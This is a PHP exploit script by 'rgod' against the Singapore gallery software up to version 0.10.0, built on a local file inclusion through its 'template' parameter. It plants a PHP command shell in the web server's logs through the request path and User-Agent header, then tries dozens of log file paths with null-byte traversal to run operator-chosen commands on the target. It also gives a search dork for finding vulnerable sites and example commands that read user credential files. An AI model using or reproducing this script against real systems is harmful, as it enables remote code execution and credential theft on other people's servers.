<?php
print_r('
--------------------------------------------------------------------------------
Singapore <= 0.10.0 "template" local file inclusion exploit
by rgod
dork: "All rights reserved. Images may not be reproduced in any form without the
express written permission of the copyright holder." "powered by singapore"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
--------------------------------------------------------------------------------
');

if ($argc<4) {
    print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to singapore
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /singapore/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat ./data/users.csv.php -p81
--------------------------------------------------------------------------------
');
    die;
}

/*
vulnerable code in /includes/singapore.class.php:

...
//remove slashes
    if(get_magic_quotes_gpc())
      $_REQUEST = array_map(array("Singapore","arraystripslashes"), $_REQUEST);
...

...
//set current template from request vars or config
    $this->template = isset($_REQUEST[$this->config->url_template]) ? $_REQUEST[$this->config->url_template] : $this->config->default_template;
    $this->config->pathto_current_template = $this->config->pathto_templates.$this->template.'/';
...

and /index.php:

...
include $sg->config->base_path.$sg->config->pathto_current_template."index.tpl.php";
...

result:

http://[target]/[path]/index.php?template=../../../../../../../etc/passwd%00

regardless of php.ini settings

don't give credit to me for this, I noticed during last days, but I know is a well known one
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$code ='<?php echo my_delim;set_time_limit(0);passthru($_SERVER[HTTP_SUNTZU]);echo my_delim;die;?>';
$packet="GET ".$p.$code." HTTP/1.1\r\n";
$packet.="User-Agent: ".$code."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacketii($packet);
sleep(1);

//fill with possible locations...
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

for ($i=0; $i<count($paths); $i++){
echo "trying with -> ".$paths[$i]."%00\r\n";
$packet ="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: template=".$paths[$i]."%00;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim")){
    echo "exploit succeeded...\n";
    $temp=explode("my_delim",$html);
    die($temp[1]);
}
}
//if you are here...
echo "exploit failed...";
?>